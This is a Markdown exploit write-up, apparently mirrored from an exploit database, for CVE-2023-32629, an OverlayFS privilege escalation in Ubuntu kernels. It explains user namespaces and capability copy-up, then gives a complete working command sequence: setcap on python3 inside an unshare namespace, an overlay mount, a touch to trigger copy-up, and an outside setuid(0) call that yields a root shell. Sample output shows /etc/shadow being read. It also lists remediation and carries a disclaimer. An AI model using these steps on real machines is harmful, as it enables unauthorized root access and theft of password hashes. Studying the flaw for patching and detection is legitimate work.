Share
## https://sploitus.com/exploit?id=8012774F-4507-57EF-AE42-469F8E744623
# CVE-2023-32629 โ€” OverlayFS Local Full Privilege Escalation
OverlayFS Local Privilege Escalation - Full write-up to full escalation

> **For educational and authorized security research purposes only.**

> **Severity:** High  
> **Type:** Local Privilege Escalation (LPE)  
> **Affected:** Ubuntu kernels prior to May/June 2023 patches  
> **Requirement:** Unprivileged user namespaces enabled (default on Ubuntu)

---

## Table of Contents

- [Overview](#overview)
- [Background Concepts](#background-concepts)
- [Attempt 1 โ€” Naive SUID Copy](#attempt-1--naive-suid-copy)
- [Attempt 2 โ€” Shell Inside the Namespace](#attempt-2--shell-inside-the-namespace)
- [Working Exploit](#working-exploit)
- [Why It Works](#why-it-works)
- [Summary](#summary)

---

## Overview

CVE-2023-32629 is a vulnerability in the Linux kernel's **OverlayFS** implementation. It abuses the interaction between **user namespaces** and **filesystem capabilities** during the OverlayFS copy-up operation to achieve local privilege escalation from any unprivileged user to real host root.

---

## Background Concepts

### User Namespaces and UID Mapping

When you run `unshare -r`, the kernel creates a new user namespace and maps your host UID to UID 0 inside it:

```
/proc/self/uid_map:
  0  1001  1   โ†  "UID 0 inside namespace = UID 1001 (lowpriv) outside"
```

This means you appear as `root` inside the namespace, but **the host kernel always translates back to your real UID** when performing filesystem permission checks on host resources.

### OverlayFS Copy-Up

OverlayFS stacks a `lowerdir` (read-only) and an `upperdir` (read-write) into a merged view. When a file in `lowerdir` is written to through the merged view, the kernel copies it to `upperdir` first โ€” this is called **copy-up**.

**Critical:** Copy-up is performed by the kernel itself using **host credentials**, regardless of which namespace triggered it. All extended attributes (`xattrs`), including filesystem capabilities, are preserved during this operation.

### Filesystem Capabilities vs SUID

| Mechanism | Requires root ownership | Granted by |
|-----------|------------------------|------------|
| SUID bit  | โœ… Yes                  | `chmod u+s` |
| Capabilities (`cap_setuid`) | โŒ No | `setcap` + trusted xattr |

This distinction is the core of the exploit. Capabilities are honored by the kernel based on the xattr alone, regardless of who owns the file.

---

## Attempt 1 โ€” Naive SUID Copy

### What we tried

```bash
unshare -rm sh -c "
  mkdir -p l u w m &&
  cp /usr/bin/python3 l/ &&
  setcap cap_setuid+eip l/python3 &&
  mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
  echo >> m/python3 &&
  cp u/python3 /tmp/rootshell &&
  chmod 4755 /tmp/rootshell
"

/tmp/rootshell -c 'import os; os.setuid(0); os.system("/bin/bash -p")'
```

### Result

```
-rwsr-xr-x 1 lowpriv lowpriv 8016833 /tmp/rootshell
PermissionError: [Errno 1] Operation not permitted
```

### Why it failed

The `cp` and `chmod` commands ran **inside the namespace**, where UID 0 maps to `lowpriv` on the host. So:

- `/tmp/rootshell` was owned by `lowpriv`, not real root
- SUID on a `lowpriv`-owned file only grants `lowpriv` โ€” which we already had
- The `cp` operation also **stripped the capability xattrs** from the binary

---

## Attempt 2 โ€” Shell Inside the Namespace

### What we tried

```bash
unshare -rm sh -c "
  mkdir -p l u w m &&
  cp /usr/bin/python3 l/ &&
  setcap cap_setuid+eip l/python3 &&
  mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
  echo >> m/python3 &&
  m/python3 -c 'import os; os.setuid(0); os.system(\"/bin/bash -p\")'
"
```

### Result

```
root@hostname:~# whoami
root
root@hostname:~# cat /etc/shadow
cat: /etc/shadow: Permission denied
```

### Why it failed

The shell was root **inside the namespace only**. When it tried to access `/etc/shadow`, the kernel performed the VFS permission check using the **translated host UID**:

```
Process UID (inside NS):   0        (looks like root)
Kernel translation:        0 โ†’ 1001 (lowpriv on host)
/etc/shadow permissions:   640 root:shadow
Effective checker UID:     1001 (lowpriv)
Result:                    EACCES โ€” Permission denied
```

The namespace bubble never breaks through to real host root when touching host filesystem resources.

---

## Working Exploit

### Steps

```bash
# Step 1: Set up the OverlayFS inside the namespace and EXIT
unshare -rm sh -c "
  mkdir -p l u w m &&
  cp /usr/bin/python3 l/ &&
  setcap cap_setuid+eip l/python3 &&
  mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
  touch m/python3
"
# touch triggers kernel copy-up: l/python3 โ†’ u/python3
# kernel runs copy-up with HOST credentials, preserving cap_setuid xattr

# Step 2: Verify the capability survived on the host filesystem
getcap u/python3
# u/python3 cap_setuid=eip  โ† trusted xattr set on host FS

# Step 3: Execute OUTSIDE the namespace
u/python3 -c 'import os; os.setuid(0); os.system("/bin/bash -p")'
```

### Result

```
root@hostname:~# whoami
root
root@hostname:~# cat /etc/shadow
root:*:20305:0:99999:7:::
ubuntu:!$6$G/ZfsnyX...
lowpriv:$y$j9T$0XsK...
admin:$y$j9T$TQiE...
```

---

## Why It Works

### The vulnerable primitive

```
1. setcap inside user namespace
        โ”‚
        โ”‚  writes cap_setuid as trusted xattr on l/python3
        โ–ผ
2. touch m/python3  โ†’  OverlayFS copy-up triggered
        โ”‚
        โ”‚  kernel copies l/ โ†’ u/ using HOST credentials
        โ”‚  ALL xattrs preserved, including cap_setuid
        โ–ผ
3. u/python3 exists on HOST filesystem
        โ”‚
        โ”‚  owner: lowpriv  (irrelevant for capabilities)
        โ”‚  xattr: cap_setuid=eip  (kernel trusts this)
        โ–ผ
4. Execute u/python3 OUTSIDE the namespace
        โ”‚
        โ”‚  no UID mapping in effect
        โ”‚  kernel reads cap_setuid=eip as host-level capability
        โ”‚  os.setuid(0) โ†’ real host root
        โ–ผ
5. Shell has genuine UID 0
        โ”‚
        โ”‚  VFS checks pass as real root
        โ””โ”€ /etc/shadow readable
```

### Key insight

The kernel **should not** honor trusted capability xattrs that were set from within a user namespace during copy-up, because those xattrs carry host-level trust. Failing to enforce this boundary is the bug.

| | Inside Namespace | Outside Namespace |
|---|---|---|
| UID 0 means | lowpriv (mapped) | real root |
| `setuid(0)` effect | no-op (already NS-root) | real escalation |
| Host FS access | translated โ†’ lowpriv | full root |
| `cap_setuid` honored | within NS only | **yes, host-level** |

---

## Summary

> The namespace gave us the ability to set a trusted capability on a file; the kernel copy-up smuggled that capability onto the host filesystem; executing outside the namespace made it real.

---

## Remediation

- Apply Ubuntu security patches for CVE-2023-32629
- Disable unprivileged user namespaces if not required:
  ```bash
  sysctl -w kernel.unprivileged_userns_clone=0
  ```
- Monitor for unexpected `unshare` + `mount overlayfs` combinations from unprivileged users

---

## Disclaimer

This tool is provided for **educational purposes and authorized security testing only**. Unauthorized use against systems you do not own or have explicit written permission to test is illegal. The author is not responsible for any misuse.